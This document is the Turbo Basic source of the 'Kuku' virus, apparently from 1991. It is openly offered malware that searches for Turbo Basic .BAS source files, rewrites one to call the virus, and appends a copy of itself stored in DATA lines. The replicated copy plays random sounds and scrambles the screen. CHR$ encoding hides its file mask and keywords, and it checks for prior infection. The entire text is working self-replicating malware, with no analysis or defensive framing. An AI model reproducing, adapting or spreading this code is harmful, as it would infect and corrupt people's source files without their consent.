Kuku Virus Source Code

$event OFF
DEFINT a-z
SCREEN 0,0,0
?"KUKU VIRUS Ver. 1.0 (Distribution module.)"
?"Copyright (C) � IVC � Moscow groupe.":?
color 15,4:
?"***************************************"
?"*           D A N G E R !!!           *"
?"* Virus for Turbo Basic source files. *"
?"***************************************":BEEP
color 7,0
?:?"Press any key to process ...";
WHILE INKEY$="":WEND
?" process";
CALL kuku
IF z=0 THEN ?"File infected."
IF z=11 THEN ?" imposible (NO FILE FOR INFECTED)."
?:?"About all question call to MOSCOW GROUPE of International
?tab(45);"Viruses"
?tab(45);"Company (IVC, Inc.)
WHILE INKEY$="":WEND
SCREEN 0,1,0
SUB     KUKU
    SHARED z
        n$=STRING$(8,63)+CHR$(46)+CHR$(66)+CHR$(65)+CHR$(83):DIM dta%(32),find%(32)
    FOR a%=0% TO 32%:dta%(a%)=0:NEXT
        FOR z=0 TO LEN(n$)-2 STEP 2:find%(z/2)=ASC(MID$(n$,z+2,1))*256+ASC(MID$(n$,z+1,1)):NEXT
        reg 1,&h1A00:reg 8,VARSEG(dta%(0)):reg 4,VARPTR(dta%(0)):CALL interrupt &h21
        reg 1,&h4e00:reg 3,attr:reg 8,VARSEG(find%(0)):reg 4,VARPTR(find%(0)):CALL interrupt &h21
        IF reg(1)<>0 THEN p$=STRING$(15,255):GOTO findfirst1
        FOR a=0 TO 32:h=dta%(a) AND 255:p$=p$+CHR$(h):l=(dta%(a)-h)/&h100 AND 255:p$=p$+CHR$(l):NEXT
    findfirst1:
        dta$=p$:f$=MID$(dta$,&h1f,13):IF f$=STRING$(LEN(f$),255) THEN z=11:EXIT SUB
        a=INSTR(2,f$,CHR$(0)):file$=MID$(f$,1,a)
        ?:?"Infecting file :"file$
        NAME file$ AS CHR$(128)
        s1$=CHR$(67)+CHR$(65)+CHR$(76)+CHR$(76)+CHR$(32)
        s2$=CHR$(68)+CHR$(65)+CHR$(84)+CHR$(65)
        s$=CHR$(75)+CHR$(85)+CHR$(75)+CHR$(85)
        OPEN CHR$(128) FOR INPUT AS#1
        ?"Size:"LOF(1)
    OPEN file$ FOR OUTPUT AS #2
        ? #2,S1$S$chr$(13)CHR$(10)
        ?"Transfer file ..."
        WHILE NOT EOF(1):LINE INPUT #1,a$:IF a$="CALL KUKU" THEN z=10
        ? #2,a$:WEND
        IF z=10 THEN ccq
        ?#2,CHR$(32)
        ?"Move data ..."
        FOR a=1 TO 2
            RESTORE KukuData
                IF a=2 THEN ?#2,S$+s2$+CHR$(58)
            WHILE QWE$<>CHR$(39)
                READ qwe$
            IF a=2 THEN ?#2,S2$+CHR$(34);
            ? #2,qwe$
            WEND
        qwe$=CHR$(32)
    NEXT
    ?#2,CHR$(69)+CHR$(78)+CHR$(68)+CHR$(32)+CHR$(83)+CHR$(85)+CHR$(66)
    ?"Out size:";LOF(2)
        CLOSE #1,#2:KILL CHR$(128):
        END
ccq:
    ?:?"File already infected ...":z=10
    CLOSE:KILL CHR$(128)
        EXIT SUB
kukudata:

DATA"sub     KUKU"
DATA"'              KUKU VIRUS FOR TURBO-BASIC !!!"
DATA"' This virus make at UPK-2 of Sevastopolsky r-n, Moscow.
data"n$=STRING$(8,63)+CHR$(46)+CHR$(66)+CHR$(65)+CHR$(83):DIM dta%(32),find%(32)
DATA"for a%=0% to 32%:dta%(a%)=0:next
data"FOR z=0 TO LEN(n$)-2 STEP 2:find%(z/2)=ASC(MID$(n$,z+2,1))*256+ASC(MID$(n$,z+1,1)):NEXT
DATA"reg 1,&h1A00:reg 8,varseg(dta%(0)):reg 4,varptr(dta%(0)):call interrupt &h21
data"reg 1,&h4e00:reg 3,attr:reg 8,VARSEG(find%(0)):reg 4,VARPTR(find%(0)):CALL interrupt &h21
DATA"if reg(1)<>0 then p$=string$(15,255):goto findfirstfile1
data"FOR a=0 TO 32:h=dta%(a) AND 255:p$=p$+CHR$(h):l=(dta%(a)-h)/&h100 AND 255:p$=p$+CHR$(l):NEXT
DATA"findfirstfile1:
data"dta$=p$:f$=MID$(dta$,&h1f,13):IF f$=STRING$(LEN(f$),255) THEN
DATA"for J=1 to 1500:Sound Rnd(1)*(1500-j)+40,.01:NEXT:delay(2)
data"SCREEN 1:DEF SEG=&Hb800:FOR a=0 TO 16384:POKE a,RND(1)*255:NEXT:EXIT SUB
DATA"end if
data"a=INSTR(2,f$,CHR$(0)):file$=MID$(f$,1,a):NAME file$ AS CHR$(128)
DATA"s1$=chr$(67)+chr$(65)+chr$(76)+chr$(76)+CHR$(32):s2$=chr$(68)+chr$(65)+chr$(84)+chr$(65):s$=chr$(75)+chr$(85)+chr$(75)+chr$(85)
data"OPEN CHR$(128) FOR INPUT AS#1
DATA"open file$ for output as #2
data"? #2,S1$S$chr$(13)CHR$(10)
DATA"while not eof(1):line input #1,a$:? #2,a$:wend
data"?#2,CHR$(32)
DATA"for a=1 to 2:restore KukuData
data"IF a=2 THEN ?#2,S$+s2$
DATA"while QWE$<>chr$(39):read qwe$:if a=2 then ?#2,S2$chr$(34);
data"? #2,qwe$+CHR$(34):WEND
DATA"qwe$=chr$(32):next
data"?#2,CHR$(69)CHR$(78)CHR$(68)CHR$(32)CHR$(83)CHR$(85)CHR$(66)
DATA"close #1,#2:kill chr$(128):exit sub
data"' KUKU Virus Version 1.0
DATA"' (C) �IVC� Moscow groupe. 25-May-1991. Serial No.0003529
DATA"'"
END SUB